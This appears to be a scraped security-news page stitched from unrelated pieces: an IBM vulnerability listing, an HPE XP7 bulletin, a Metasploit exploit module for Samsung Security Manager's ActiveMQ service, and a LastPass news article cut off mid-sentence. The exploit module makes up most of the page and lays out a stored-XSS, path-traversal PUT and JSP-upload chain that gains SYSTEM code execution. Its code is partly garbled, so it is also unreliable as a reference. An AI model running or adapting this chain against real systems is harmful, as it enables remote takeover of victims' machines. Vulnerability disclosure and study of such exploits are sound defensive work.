• info
  • discussion
  • exploit
  • solution
  • references
IBM Security Privileged Identity Manager CVE-2016-0353 Information Disclosure Vulnerability

Bugtraq ID: 94543
Class: Design Error
CVE: CVE-2016-0353
Remote: Yes
Local: No
Published: Nov 24 2016 12:00AM
Updated: Nov 25 2016 09:04PM
Credit: The vendor reported the issue.
Vulnerable: IBM Security Privileged Identity Manager 2.0
Not Vulnerable:

SecurityFocus Vulnerabilities

Hash: SHA1

Note: the current version of the following document is available here:


Document ID: c05257711
Version: 1

HPSBST03640 rev.1 - HP XP7 Command View Advance Edition Suite (CVAE) using
Replication Manager (RepMgr) and Device Manager (DevMgr), Local Access
Restriction Bypass

NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.

Release Date: 2016-09-01
Last Updated: 2016-09-01

Potential Security Impact: Local Access Restriction Bypass

Source: Hewlett Packard Enterprise, Product Security Response Team

A potential security vulnerability has been identified in HP XP7 Command View
Advance Edition Suite (CVAE) using Replication Manager (RepMgr) and Device
Manager (DevMgr). This vulnerability could be locally exploited to allow
access restriction bypass.


- CVE-2016-4381
- PSRT110214

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP XP7 Command View Advanced Edition Suite RepMgr and DevMgr version 6.2.0-00
to versions prior to 8.4.1-02


CVSS Base Metrics
Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector

5.3 CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)

Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:


HPE has released the following software updates to resolve the vulnerability
in HP XP7 Command View Advance Edition Suite.

- Device Manager (DevMgr) version 8.4.1-02
- Replication Manager (RepMgr) version 8.4.1-02

The updates are available from the following locations.

- Full installer updates:

- Patches:

**Note:** A valid HPE Passport account is needed to download the patches.
Please contact HPE Technical Support for assistance.

Version:1 (rev.1) - 1 September 2016 Initial release

Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management

Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-alert (at) hpe (dot) com. [email concealed]

Report: To report a potential security vulnerability for any HPE supported
Web form:
Email: security-alert (at) hpe (dot) com [email concealed]

Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email:

Security Bulletin Archive: A list of recently released Security Bulletins is
available here:

Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.

3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software

Copyright 2016 Hewlett Packard Enterprise

Hewlett Packard Enterprise shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is" without warranty of any kind. To the extent permitted by law, neither
HP or its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice. Hewlett
Packard Enterprise and the names of Hewlett Packard Enterprise products
referenced herein are trademarks of Hewlett Packard Enterprise in the United
States and other countries. Other product and company names mentioned herein
may be trademarks of their respective owners.

Version: GnuPG v1


[ reply ]

SecurityFocus Vulnerabilities

# This module requires Metasploit:
# Current source:

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper

def initialize(info=)
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
'Description' => %q
This is an exploit against Samsung Security Manager that bypasses the patch in
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
'License' => MSF_LICENSE,
'Author' =>
'mr_me <mr_me[at]>', # vuln + module
'References' =>
[ 'URL', '' ]
'Platform' => 'win',
'Targets' =>
# tested on 1.32, 1.4 & 1.5
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', ],
'DisclosureDate' => "Aug 05 2016",
'DefaultTarget' => 0))
['OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)

# this is because String.fromCharCode has a max of 65535 func args
# thanks to sinn3r for his help with the Array->String conversion
def encode_js(string)
i = 0
encoded_0 = []
encoded_1 = []
string.each_byte do |c|
if i > 65534
encoded_1 << c
encoded_0 << c
i += 1
if i > 65534
return encoded_0 * ",", encoded_1 * ","
return encoded_0 * ","

# tested on Firefox v46.0.1 (latest)
# tested on Chrome v50.0.2661.102 (latest release)
# tested on IE v11.0.9600.18314 (latest)
def on_request_uri(cli, request)

js_name = rand_text_alpha(rand(10)+5) + '.js'

payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name

# we deliver the JavaScript code that does the work for us
if (request.uri.match(/.js/))
return if ((p = regenerate_payload(cli)) == nil)

# dont exploit again otherwise we get a zillion shells
return if session_created? or @exploited

jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
exe_name = rand_text_alpha(rand(10)+5) + '.exe'

# clean just the jsp, because the exe dropper will be in use

# our jsp upload, ensuring native code execution
jsp = %Q|<%@ page import="*" %>
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = != -1) buf.write(tmp);
FileOutputStream fostream = new FileOutputStream("#exe_name");

# encode the payloads
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
encoded_jsp = encode_js(jsp)

# targets
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#jsp_name"
upload_uri = "http://localhost:8161/admin/#jsp_name"

# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
js_content = %Q|

function do_put(uri, file_data)
var file_size = file_data.length;
var xhr = new XMLHttpRequest();"PUT", uri, true);
var body = file_data;
return true;

function do_upload(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();"POST", uri, true);
var body = file_data;

// latest ff doesnt have sendAsBinary(), so we redefine it
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;

var ords =, byteValue);
var ui8a = new Uint8Array(ords);
return true;

function bye_bye_xss(uri)
var xhr = new XMLHttpRequest();'GET', uri.replace(/\+/g,"%2b"), true);

function clean_up()
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var els = xhr.responseXML.getElementsByTagName("a");
for (var i = 0, l = els.length; i < l; i++) {
var el = els[i];
if ("http://localhost:8161/admin/deleteDestination.action") == 0) {

}'GET', 'http://localhost:8161/admin/queues.jsp', true);
xhr.responseType = "document"; // so that we can parse the reponse as a document

function exploit()
do_upload('#{upload_uri', String.fromCharCode(#encoded_exe[0]) + String.fromCharCode(#encoded_exe[1]));

function start()
do_put('#{jsp_uri', String.fromCharCode(#encoded_jsp));
setTimeout(exploit(), 2000); // timing is important

if datastore['OBFUSCATE']
js_content =

print_status("Sending javascript...")
@exploited = true
send_response_html(cli, js_content, 'Content-Type' => 'application/javascript' )

if datastore['OBFUSCATE']
js_content =
onlick =

iframe_injection = ""
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
(1..20).step(1) do |n|
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"

# the stored XSS endpoint
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="

# we use XSS to execute JavaScript code in local context to avoid CORS
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
xss_injection << "a.src='#payload_url';document.body.appendChild(a)\")+\""
target << Rex::Text.uri_encode(xss_injection)

# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
html_content = %Q|
<iframe src="#target" width="0" height="0"></iframe>
print_status("Sending exploit...")
send_response_html(cli, html_content)

Exploit Files ≈ Packet Storm

Even password manager LastPass can be fooled. A Google security researcher has found a way to remotely hijack the software.

It works by first luring the user to a malicious site. The site will then exploit a flaw in a LastPass add-on for the Firefox browser, giving it control over the password management software.

[ Also on InfoWorld: 19 open source GitHub projects for security pros. | Discover how to secure your systems with InfoWorld's Security newsletter. ]

LastPass wrote about the vulnerability on Wednesday and said that a fix is already out for Firefox users.

Google security research Tavis Ormandy first discovered the issue. When examining the password manager, he tweeted on Tuesday, "Are people really using this lastpass thing? I took a quick look and can see a bunch of obvious critical problems. I'll send a report asap."

Any vulnerability with LastPass could pose a big risk for users. The popular software is supposed to securely store and autofill all the passwords users have for their different sites.

Ormandy isn't the only security researcher to find flaws with the password manager. On Wednesday, Mathias Karlsson at Detectify Labs said that he had also managed to hack LastPass -- in this case, to steal user passwords.

He did so by exploiting a bug in the password manager's Chrome browser extension, Karlsson
InfoWorld Security